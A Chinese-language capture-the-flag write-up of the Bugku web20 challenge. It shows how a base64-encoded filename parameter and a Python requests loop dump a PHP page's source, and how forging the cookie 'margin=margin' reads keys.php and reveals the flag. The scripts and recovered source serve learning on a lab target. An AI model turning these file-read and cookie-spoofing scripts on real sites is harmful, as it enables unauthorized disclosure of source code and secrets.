攻防世界竟然挂了·····
转战bugku
web20,这个题还是有点意思。
首先url为
http://114.67.246.176:16805/index.php?line=&filename=a2V5cy50eHQ=
然后里面的内容一看就是乱写的。
这个时候注意url,line
字段没有输入参数,filename
字段用base64编码,我们先把filename
解码看看为
keys.txt
,猜测现在显示的内容为keys.txt里面的内容。
后面就没思路了。。。。
随便试试直接访问index.php
,结果给我302重定向到最开始的url
,既然不能直接访问,那就通过filename
访问,注意要先进行base64
编码
http://114.67.246.176:16805/index.php?line=&filename=aW5kZXgucGhw
能够访问但是页面是空的,尝试给line
加上参数,比如1,出现error_reporting(0);
熟悉的php源码,用python的requests库来访问这个url获取php的源码。
import requests
for i in range(25):
r = requests.get('http://114.67.246.176:10641/index.php?filename=aW5kZXgucGhw',params={'line':i})
print(r.text)
得到php源码
<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");//filename通过base64解码为变量file赋值
$line=isset($_GET['line'])?intval($_GET['line']):0;//line的值,若没有输入则为0
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");//file没有输入就跳转
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';//如果有cookies则在file_list变量中加入一个字段
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];//echo出来
}
?>
直接写注释了,没什么难的。
题目是cookies
欺骗,也就是说我们在请求keys.php
的时候加入符合要求的cookies
就行了。继续requests
import requests
cookies = {'margin':'margin'}
for i in range(10):
r = requests.get('http://114.67.246.176:10641/index.php?filename=a2V5cy5waHA=',params={'line':i},cookies=cookies)
print(r.text)
最后得到flag
<?php $key="flag{a31780e6b0d96db6e771c7e6284cec66}"; ?>